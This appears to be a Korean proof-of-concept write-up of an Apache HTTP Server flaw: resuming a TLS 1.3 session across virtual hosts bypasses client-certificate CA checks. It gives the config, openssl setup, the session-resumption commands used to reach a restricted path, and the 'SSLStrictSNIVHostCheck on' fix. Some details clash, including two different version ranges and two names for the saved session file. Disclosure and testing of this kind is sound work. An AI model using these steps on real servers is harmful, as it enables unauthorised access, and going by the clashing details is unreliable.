
Apache HTTP Server 2.4.35 – 2.4.63 버전은 서로 다른 `SSLCACertificateFile` 지시문을 사용하는 가상 호스트 간에 TLS 1.3 세션 재개가 사용될 때 클라이언트 인증서 인증 우회에 취약합니다.
Apache HTTP Server 2.4.35 – 2.4.62 버전은 서로 다른 SSLCACertificateFile 지시문을 사용하는 가상 호스트 간에 TLS 1.3 세션 재개가 사용될 때 클라이언트 인증서 인증 우회에 취약합니다.
공격자는 한 가상 호스트에 대해 유효한 클라이언트 인증서를 가지고 있는 상태에서, 별개의 CA가 발급한 인증서를 요구하는 다른 가상 호스트에서 TLS 1.3 세션을 재개하여 보호된 리소스에 무단으로 접근할 수 있습니다.
conf\httpd.conf에서 필수 모듈 활성화LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on
cd C:\Apache24\conf
mkdir ssl
cd ssl
# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"
# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365
# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"
# Cleanup
del client_ca1.csr *.srl
conf\extra\httpd-vhosts.conf)<VirtualHost *:443>
ServerName vhost1.example.com
DocumentRoot "C:/Apache24/htdocs/vhost1"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
SSLVerifyClient optional
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location />
Require ssl-verify-client
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName vhost2.example.com
DocumentRoot "C:/Apache24/htdocs/vhost2"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"
SSLVerifyClient optional_no_ca
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location /restricted>
Require valid-user
</Location>
</VirtualHost>
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html
mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start
vhost1과 전체 핸드셰이크 → 세션 저장openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443
연결 후 입력:
GET / HTTP/1.1
Host: vhost1.example.com

예상 출력 (일부):
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>
세션 티켓이
session_shared.pem에 저장되었습니다.
vhost2에서 세션 재개 → 보호된 경로 접근openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443
입력:
GET /restricted/ HTTP/1.1
Host: vhost2.example.com
예상 출력 (중요):
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Resumption PSK: ...
TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

CA1의 클라이언트 인증서가 vhost2(CA2만 신뢰하는)에서 허용되었습니다
재인증이 발생하지 않았습니다 — 세션 재개로 CA 검사를 우회했습니다
SSLStrictSNIVHostCheck on
서로 다른 클라이언트 CA를 요구하는 모든 TLS 1.3 가상 호스트에 적용합니다.
크로스-SNI 세션 재개를 비활성화하여 우회를 방지합니다.